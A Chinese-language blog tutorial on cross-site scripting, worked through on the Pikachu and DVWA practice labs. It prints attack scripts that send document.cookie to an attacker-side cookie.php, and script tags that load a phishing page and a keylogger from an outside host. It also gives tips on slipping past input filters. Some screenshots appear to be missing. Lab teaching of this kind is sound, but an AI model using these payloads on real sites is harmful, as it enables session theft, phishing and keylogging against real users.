赞
踩
XSS全称叫做跨站脚本攻击(cross site script)的缩写,因为缩写和CSS重复,所以叫XSS。XSS攻击时一个发生在前端的漏洞,是前端开发人员前端开发不严谨导致的漏洞。它的核心就是前端可以解析用户的输入为dom组件,所以用户可以输入一段JavaScript代码来对网站进行一些恶意修改。XSS的危害一般对一些访问量比较大的网站大,因为XSS并不会破坏网站,而是会对网站进行恶意修改,影响网站的用户,从而窃取信息甚至控制用户。
XSS漏洞一般可以分为三类:反射型,存储型和dom型。
反射型XSS交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
反射型XSS的一般攻击流程为:
1.判断输入的内容会在那个位置出现
2.测试js代码会不会过滤"<script alert‘"这类字符
3.拼接测试js代码执行情况<script>alert(1)</script>
攻击url:http://192.168.0.104/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=submit
反射性XSS具体体现:
存储型XSS交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
存储型XSS攻击流程:
1.找到场景(留言板,注册)
2.找到输入的显示位置:判断输入值在那个标签位置
3.判断js代码过滤
4.输入js测试语句
DOM型XSS不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题, 一次性也属于反射型。
我们使用反射型XSS一般可以用来获取cookie:
构造js语句
<script>
document.location='http://192.168.0.104:8001/pkxss/xcookie/cookie.php?cookie='+document.cookie;
</script>
我们可以将URL编码然后去进一步加强隐蔽性:
下边还有POST提交方式的使用:
我们首先伪造一个HTML页面:
如果用户在登录状态下点击了我们的伪装页面,我们就可以获取到它的cookie,这里我们获取登录DVWA的cookie:
尝试登录DVWA:
流程:
1.找到一个存在xss漏洞的站点 2.伪造js脚本==》url cookie值==>发送给攻击者服务器(192.168.44.132:8080) 1.接收cookie信息的页面 2.<script> document.location = 'http://192.168.3.88/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script> 操作流程: 1.搭建好攻击者服务器 2.pkxss/xcookie/cookie.php(重定向)==》接收cookie值 3.伪造攻击代码 <script> document.location = 'http://192.168.44.132:8080/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script> 3.发给用户(192.168.3.17),用户点击
其中需要注意:
get类型url位置有攻击代码可以直接发送
post类型url位置没有攻击代码不能之间发送,需要伪造一个前端文件然后让用户点击它,从而获取cookie。
存储型XSS一般可以用来钓鱼:
输入
<script src="http://192.168.0.104:8001/pkxss/xfish/fish.php">
</script>
结果:
我们还可以尝试键盘记录:
输入
<script src="http://192.168.134.134:8001/pkxss/rkeypress/rk.js">
</script>
结果:
网站钓鱼一般要先伪造一个钓鱼地点,然后将我们的攻击代码注入到页面中。
XSS测试的流程一般如下:
1.查找可能存在的注入点(搜索框,留言板,注册) 2.观察输出显示位置: html: 尖括号外部, 尖括号内部: 引号内部==》闭合,不能闭合(能不能执行js代码) 引号外部:能不能构造新属性 <script>标签内部 引号内部=》能闭合=》直接写js代码 引号内部=》不能闭合=》观察可不可以在页面上进行输出 直接在标签中==》直接写js代码 3.判断是否有过滤 4.构造payload(结合显示位置) 5.获取具体的信息,比如cookie,钓鱼,键盘
想要防御XSS攻击,我们可以对XSS攻击使用的字符串进行严格的过滤。但是过滤一般很难做到彻底,有时候还是可以使用大小写混淆或者复写拼接来绕过这些过滤的。一般我们后端使用编码来对用户的输入进行编码解码处理,使得用户的输入没有任何实质作用,不会影响到我们的页面。
在现实实战中,我们的输入往往会被过滤,造成如下结果:
可以大致将防护机制分为下面几种类型:
1.过滤:当检测到出现攻击的关键字时,将回收关键字并且返回错误页面(固定)
2.编码:当后端检测出关键字时,将关键字进行编码处理,使得关键字失效
3.插入:当后端检测到关键字的时候,对关键字插入特定字符使其失效
4.删除:当后端发现关键字时直接将其删除
当出现关键字变形处理的时候,我们可以使用大小写绕过:
当对关键字进行删除操作时,我们可以使用双写来进行绕过:
当后端对关键字进行编码时,我们可以通过其他方式来进行绕过:
这个就是后端疏忽没有对单引号进行实体化,导致标签可以被加属性。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。